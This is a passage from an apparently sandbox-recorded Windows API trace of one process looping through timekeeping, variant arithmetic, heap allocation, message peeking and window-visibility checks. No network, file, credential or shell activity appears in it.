lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.698] GetTickCount () returned 0x115f90f [0189.698] IsWindowVisible (hWnd=0x30268) returned 0 [0189.698] IsWindowVisible (hWnd=0x40298) returned 0 [0189.698] IsWindowVisible (hWnd=0x60106) returned 0 [0189.698] Sleep (dwMilliseconds=0x0) [0189.698] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.698] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.699] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.699] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.699] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.699] GetCurrentProcessId () returned 0x9e0 [0189.699] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.699] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.699] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.699] GetTickCount () returned 0x115f90f [0189.699] GetTickCount () returned 0x115f90f [0189.699] GetTickCount () returned 0x115f90f [0189.699] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.699] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.699] GetTickCount () returned 0x115f90f [0189.700] IsWindowVisible (hWnd=0x30268) returned 0 [0189.700] IsWindowVisible (hWnd=0x40298) returned 0 [0189.700] IsWindowVisible (hWnd=0x60106) returned 0 [0189.700] Sleep (dwMilliseconds=0x0) [0189.700] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.700] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.700] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.700] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.700] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.701] GetCurrentProcessId () returned 0x9e0 [0189.701] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.701] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.701] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.701] GetTickCount () returned 0x115f90f [0189.701] GetTickCount () returned 0x115f90f [0189.701] GetTickCount () returned 0x115f90f [0189.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.701] GetTickCount () returned 0x115f90f [0189.701] IsWindowVisible (hWnd=0x30268) returned 0 [0189.701] IsWindowVisible (hWnd=0x40298) returned 0 [0189.701] IsWindowVisible (hWnd=0x60106) returned 0 [0189.702] Sleep (dwMilliseconds=0x0) [0189.702] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.702] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.702] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.703] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.703] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.703] GetCurrentProcessId () returned 0x9e0 [0189.703] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.703] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.703] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.703] GetTickCount () returned 0x115f90f [0189.703] GetTickCount () returned 0x115f90f [0189.703] GetTickCount () returned 0x115f90f [0189.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.703] GetTickCount () returned 0x115f90f [0189.703] IsWindowVisible (hWnd=0x30268) returned 0 [0189.703] IsWindowVisible (hWnd=0x40298) returned 0 [0189.703] IsWindowVisible (hWnd=0x60106) returned 0 [0189.703] Sleep (dwMilliseconds=0x0) [0189.704] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x283)) [0189.704] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.704] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.704] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.704] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.705] GetCurrentProcessId () returned 0x9e0 [0189.705] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.705] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.705] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.705] GetTickCount () returned 0x115f91e [0189.705] GetTickCount () returned 0x115f91e [0189.705] GetTickCount () returned 0x115f91e [0189.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.705] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.705] GetTickCount () returned 0x115f91e [0189.705] IsWindowVisible (hWnd=0x30268) returned 0 [0189.705] IsWindowVisible (hWnd=0x40298) returned 0 [0189.706] IsWindowVisible (hWnd=0x60106) returned 0 [0189.706] Sleep (dwMilliseconds=0x0) [0189.708] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x293)) [0189.708] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.708] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.708] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.708] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.708] GetCurrentProcessId () returned 0x9e0 [0189.708] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.709] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.709] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.709] GetTickCount () returned 0x115f91e [0189.709] GetTickCount () returned 0x115f91e [0189.709] GetTickCount () returned 0x115f91e [0189.709] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.709] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.709] GetTickCount () returned 0x115f91e [0189.709] IsWindowVisible (hWnd=0x30268) returned 0 [0189.709] IsWindowVisible (hWnd=0x40298) returned 0 [0189.709] IsWindowVisible (hWnd=0x60106) returned 0 [0189.709] Sleep (dwMilliseconds=0x0) [0189.710] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x293)) [0189.711] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.711] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.711] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.711] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.711] GetCurrentProcessId () returned 0x9e0 [0189.711] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.711] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.711] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.711] GetTickCount () returned 0x115f91e [0189.711] GetTickCount () returned 0x115f91e [0189.711] GetTickCount () returned 0x115f91e [0189.711] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.711] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.712] GetTickCount () returned 0x115f91e [0189.712] IsWindowVisible (hWnd=0x30268) returned 0 [0189.712] IsWindowVisible (hWnd=0x40298) returned 0 [0189.712] IsWindowVisible (hWnd=0x60106) returned 0 [0189.712] Sleep (dwMilliseconds=0x0) [0189.716] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x293)) [0189.717] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.717] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.717] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.717] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.717] GetCurrentProcessId () returned 0x9e0 [0189.717] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.717] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.717] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.717] GetTickCount () returned 0x115f91e [0189.717] GetTickCount () returned 0x115f91e [0189.717] GetTickCount () returned 0x115f91e [0189.717] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.717] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.717] GetTickCount () returned 0x115f91e [0189.717] IsWindowVisible (hWnd=0x30268) returned 0 [0189.717] IsWindowVisible (hWnd=0x40298) returned 0 [0189.717] IsWindowVisible (hWnd=0x60106) returned 0 [0189.717] Sleep (dwMilliseconds=0x0) [0189.720] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x293)) [0189.720] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.720] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.720] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.720] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.720] GetCurrentProcessId () returned 0x9e0 [0189.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.720] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.720] GetTickCount () returned 0x115f92e [0189.720] GetTickCount () returned 0x115f92e [0189.720] GetTickCount () returned 0x115f92e [0189.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.721] GetTickCount () returned 0x115f92e [0189.721] IsWindowVisible (hWnd=0x30268) returned 0 [0189.721] IsWindowVisible (hWnd=0x40298) returned 0 [0189.721] IsWindowVisible (hWnd=0x60106) returned 0 [0189.721] Sleep (dwMilliseconds=0x0) [0189.723] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2a3)) [0189.723] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.724] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.724] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.724] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.724] GetCurrentProcessId () returned 0x9e0 [0189.724] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.724] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.724] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.724] GetTickCount () returned 0x115f92e [0189.724] GetTickCount () returned 0x115f92e [0189.724] GetTickCount () returned 0x115f92e [0189.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.724] GetTickCount () returned 0x115f92e [0189.725] IsWindowVisible (hWnd=0x30268) returned 0 [0189.725] IsWindowVisible (hWnd=0x40298) returned 0 [0189.725] IsWindowVisible (hWnd=0x60106) returned 0 [0189.725] Sleep (dwMilliseconds=0x0) [0189.744] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2b2)) [0189.744] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.744] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.745] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.745] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.745] GetCurrentProcessId () returned 0x9e0 [0189.745] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.745] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.745] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.745] GetTickCount () returned 0x115f93e [0189.745] GetTickCount () returned 0x115f93e [0189.745] GetTickCount () returned 0x115f93e [0189.745] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.745] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.745] GetTickCount () returned 0x115f93e [0189.745] IsWindowVisible (hWnd=0x30268) returned 0 [0189.745] IsWindowVisible (hWnd=0x40298) returned 0 [0189.745] IsWindowVisible (hWnd=0x60106) returned 0 [0189.746] Sleep (dwMilliseconds=0x0) [0189.747] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2b2)) [0189.747] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.747] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.747] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.747] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.747] GetCurrentProcessId () returned 0x9e0 [0189.747] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.747] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.747] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.747] GetTickCount () returned 0x115f93e [0189.747] GetTickCount () returned 0x115f93e [0189.747] GetTickCount () returned 0x115f93e [0189.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.748] GetTickCount () returned 0x115f93e [0189.748] IsWindowVisible (hWnd=0x30268) returned 0 [0189.748] IsWindowVisible (hWnd=0x40298) returned 0 [0189.748] IsWindowVisible (hWnd=0x60106) returned 0 [0189.748] Sleep (dwMilliseconds=0x0) [0189.769] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2d1)) [0189.769] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.769] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.770] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.770] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.770] GetCurrentProcessId () returned 0x9e0 [0189.770] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.770] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.770] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.770] GetTickCount () returned 0x115f95d [0189.770] GetTickCount () returned 0x115f95d [0189.770] GetTickCount () returned 0x115f95d [0189.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.770] GetTickCount () returned 0x115f95d [0189.771] IsWindowVisible (hWnd=0x30268) returned 0 [0189.771] IsWindowVisible (hWnd=0x40298) returned 0 [0189.771] IsWindowVisible (hWnd=0x60106) returned 0 [0189.771] Sleep (dwMilliseconds=0x0) [0189.771] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2d1)) [0189.772] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.772] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.772] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.772] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.772] GetCurrentProcessId () returned 0x9e0 [0189.772] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.772] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.772] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.772] GetTickCount () returned 0x115f95d [0189.772] GetTickCount () returned 0x115f95d [0189.772] GetTickCount () returned 0x115f95d [0189.772] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.772] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.772] GetTickCount () returned 0x115f95d [0189.773] IsWindowVisible (hWnd=0x30268) returned 0 [0189.773] IsWindowVisible (hWnd=0x40298) returned 0 [0189.773] IsWindowVisible (hWnd=0x60106) returned 0 [0189.773] Sleep (dwMilliseconds=0x0) [0189.773] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2d1)) [0189.773] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.773] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.773] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.774] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.774] GetCurrentProcessId () returned 0x9e0 [0189.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.774] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.774] GetTickCount () returned 0x115f95d [0189.774] GetTickCount () returned 0x115f95d [0189.774] GetTickCount () returned 0x115f95d [0189.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.774] GetTickCount () returned 0x115f95d [0189.775] IsWindowVisible (hWnd=0x30268) returned 0 [0189.775] IsWindowVisible (hWnd=0x40298) returned 0 [0189.775] IsWindowVisible (hWnd=0x60106) returned 0 [0189.775] Sleep (dwMilliseconds=0x0) [0189.775] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x2d1)) [0189.775] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, 